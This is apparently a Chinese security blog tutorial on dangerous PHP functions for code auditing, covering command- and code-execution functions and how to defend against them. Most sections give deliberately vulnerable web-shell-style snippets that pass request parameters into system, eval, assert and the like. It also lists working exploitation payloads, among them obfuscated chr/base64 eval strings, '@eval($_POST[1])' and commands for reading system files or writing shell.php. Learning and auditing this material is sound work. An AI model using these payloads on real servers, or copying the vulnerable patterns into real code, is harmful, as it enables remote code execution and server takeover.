PHP 危险函数


PHP 危险函数

前言

PHP 中有一些函数是比较危险的,也是进行 PHP 代码审计过程的时候需要重点关注的内容。

OS 命令执行函数

这些函数会调用系统命令,类似于 bash 或者 cmd ,PHP 会自动区分平台。

  • 系统命令函数,调用的是服务器命令。
  • PHP 解释器会自动识别系统平台。
  • 如果参数可控,就相当于 Shell
  • 在浏览器端输入命令,在服务器端执行。
  • 通过 Web 方式传参调用系统命令,无法切换工作目录,非持久性连接,对比反弹 Shell。

system()

system() 能够将字符串作为系统命令执行。

  • 自带输出功能
<?php

header('Content-Type: text/html; charset=utf-8');

if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    echo "缺少必要的参数!";
}

exec()

exec() 能够将字符串作为系统命令执行。

  • 不会自动输出执行的结果
  • 不支持命令中存在空格
<?php
header('Content-Type: text/html; charset=utf-8');

if (isset($_REQUEST['cmd'])) {
    exec($_REQUEST['cmd'], $out, $status);
    echo "<pre>";
    echo implode("\n", $out);
    echo "</pre>";
    echo $status;
} else {
    echo "缺少必要的参数!";
}

shell_exec()

shell_exec() 能够将字符串作为系统命令执行。

  • 不会自动输出执行的结果
<?php
header('Content-Type: text/html; charset=utf-8');

if (isset($_REQUEST['cmd'])) {
    // shell_exec
    echo shell_exec($_REQUEST['cmd']);
} else {
    echo "缺少必要的参数!";
}

passthru()

passthru() 能够将字符串作为系统命令执行。

  • 能够自动输出执行的结果
<?php
header('Content-Type: text/html; charset=utf-8');

if (isset($_REQUEST['cmd'])) {
    // passthru
    passthru($_REQUEST['cmd']);
} else {
    echo "缺少必要的参数!";
}

popen()

popen() 能够执行系统命令

  • 此命令不能够自动输出执行结果
  • 通过文件操作可以查看结果
<?php
header('Content-Type: text/html; charset=utf-8');

if (isset($_REQUEST['cmd'])) {
    // popen
    $fp = popen($_REQUEST['cmd'], "r");
    while (!feof($fp)) {
        echo fread($fp, 1024);
    }
    pclose($fp);
} else {
    echo "缺少必要的参数!";
}

back quote

反引号 可以将反引号内的字符串当做系统命令执行。

<?php
header('Content-Type: text/html; charset=utf-8');

if (isset($_REQUEST['cmd'])) {
    $str = $_REQUEST['cmd'];
    echo `$str`;
} else {
    echo "缺少必要的参数!";
}

PHP 代码执行函数

PHP 中有很多的函数,可以将字符串的当做 PHP 代码执行。

eval()

其实 eval() 不算是一个函数,只是一个语句,不能动态的调用。

  • 执行的字符串要以分号结尾
  • 多条语句使用分号分割
<?php
header('Content-Type: text/html; charset=utf-8');
//phpinfo();
//$str = "phpinfo();";
//echo $str;
$str = $_GET['code'];
eval($str);
//      ?code=phinfo();
//      ?code=print(md5(123456));
//      ?code=system(whoami);
//      ?code=system('net user');
//
?>
$str = addslashes($_GET['code']);
echo $str;
eval($str);
/*
编码
1. ascii 编码
?code=eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(110).chr(101).chr(116).chr(32).chr(117).chr(115).chr(101).chr(114).chr(39).chr(41).chr(59));
2. base64 编码
c3lzdGVtKCduZXQgdXNlcicpOw==
?code=eval(base64_decode(c3lzdGVtKCduZXQgdXNlcicpOw));
*/

assert()

assert() 函数同样会将字符串当做代码执行。(高版本中被禁用)

  • 字符串的结尾可以不添加分号
<?php
header('Content-Type: text/html; charset=utf-8');

if (isset($_REQUEST['cmd'])) {
    assert($_REQUEST['cmd']);
} else {
    echo "缺少必要的参数!";
}

preg_replace()

preg_replace() 函数的作用是对字符串进行正则匹配后替换。

<?php
header('Content-Type: text/html; charset=utf-8');

preg_replace($pattern, $replacement, $subject);
preg_replace('/a/', 'A', 'abacad');                        //AbAcAd
preg_replace('/\[(.*)\]/', 'A', '[phpinfo()]');            //A
echo preg_replace('/\[(.*)\]/', '\\1', '[phpinfo()]');	//phpinfo()
//	\\1		代表正则表达式第一次匹配的内容

/*
    $pattern        正则表达式
    $replacement    替换内容
    $subject        被替换的字符串
    
*/
  • $pattern 处,存在 e 修饰符时,$replacement 的值会被当成 PHP 代码来执行。

<?php
header('Content-Type: text/html; charset=utf-8');

if (isset($_GET['code'])) {
    $code = $_GET['code'];
    preg_replace("/\[(.*)\]/e", '\\1', $code);
} else {
    echo "?code=[phpinfo()]";
}

call_user_func()

call_user_func(function,parameters) 是一个回调函数。

  • function 要被调用的函数
  • parameters 传递给 function 的参数
<?php
header('Content-Type: text/html; charset=utf-8');

if (isset($_REQUEST['func']) && isset($_REQUEST['param'])) {
    $func = $_REQUEST['func'];
    $param = $_REQUEST['param'];
    call_user_func($func, $param);
} else {
    echo "缺少必要的参数!";
}

动态函数

由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用 call_user_func() 的初衷一样,用来更加方便地调用函数,但是一旦过了不严格就会造成代码执行漏洞。

<?php
header('Content-Type: text/html; charset=utf-8');

if (isset($_REQUEST['a']) && isset($_REQUEST['b'])) {
    $a = $_REQUEST['a'];
    $b = $_REQUEST['b'];
    $a($b);
} else {
    echo "缺少必要的参数!";
}

// ?a=assert&b=phpinfo()

array_map()

array_map() 函数也同样是一个回调函数具体的说明参见下述说明

<?php
header('Content-Type: text/html; charset=utf-8');

if (isset($_REQUEST['func']) && isset($_REQUEST['code'])) {
    array_map($_REQUEST['func'], $_REQUEST['code']);
} else {
    echo "缺少必要的参数!";
}
// ?func=assert&code[]=phpinfo()
/*
    array_map()
    function array_map(?callable $callback, array $array, array ...$arrays): array { }
    函数的作用是将用户输入的函数名和参数传递给array_map()函数,
    然后将数组中的每个元素作为参数传递给用户输入的函数。
*/

拓展知识

OS 命令注入漏洞

  • 原理以及成因

程序员使用脚本语言(比如PHP )开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些系统命令的函数。

应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞 。

  • 漏洞危害

    • 继承Web 服务器程序权限,去执行系统命令
    • 继承Web 服务器权限,读写文件
    • 反弹Shell
    • 控制整个网站
    • 控制整个服务器

命令注入漏洞利用

OS 命令注入漏洞,攻击者直接继承Web 用户权限,在服务器上执行任意系统命令,危害特别大。以下命令均在windows 系统下测试成功。

  • 查看系统文件 ?cmd=type c:\windows\system32\drivers\etc\hosts

  • 显示当前路径 ?cmd=cd

  • 写文件

    • 以绝对路径的方式写文件 ?cmd=echo "<?php phpinfo();?>" > D:\xampp\htdocs\Commandi\shell.php

PHP 代码注入

  • 原理以及成因 代码执行(注入)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。代码执行(注入)类似于SQL 注入漏洞,SQLi 是将SQL 语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个Web 后门 的存在。
  • 漏洞危害 Web 应用如果存在代码执行漏洞是一件非常可怕的事情。可以通过代码执行漏洞继承Web 用户权限,执行任意代码。如果服务器没有正确配置,Web 用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。

代码注入漏洞利用

代码执行漏洞的利用方式有很多种,以下简单列出几种。

  • 直接获取Shell ?code=@eval($_POST[1]);
  • 获取当前文件的绝对路径 ?code=print(__FILE__);
  • 读文件 ?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));
  • 写文件 ?code=var_dump(file_put_contents($_POST[1],$_POST[2]));``1=shell.php&2=<?php phpinfo()?>

防御漏洞的方法

  • 尽量不要使用 eval 等函数
  • 如果使用的话一定要进行严格的过滤
  • preg_replace 放弃使用 /e 修饰符
  • 尽量减少危险函数的使用,并在 disable_functions 中禁用
disable_functions = system,eval
  • 参数的值尽量使用引号包裹,并在拼接前调用 addslashes() 进行转义

文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录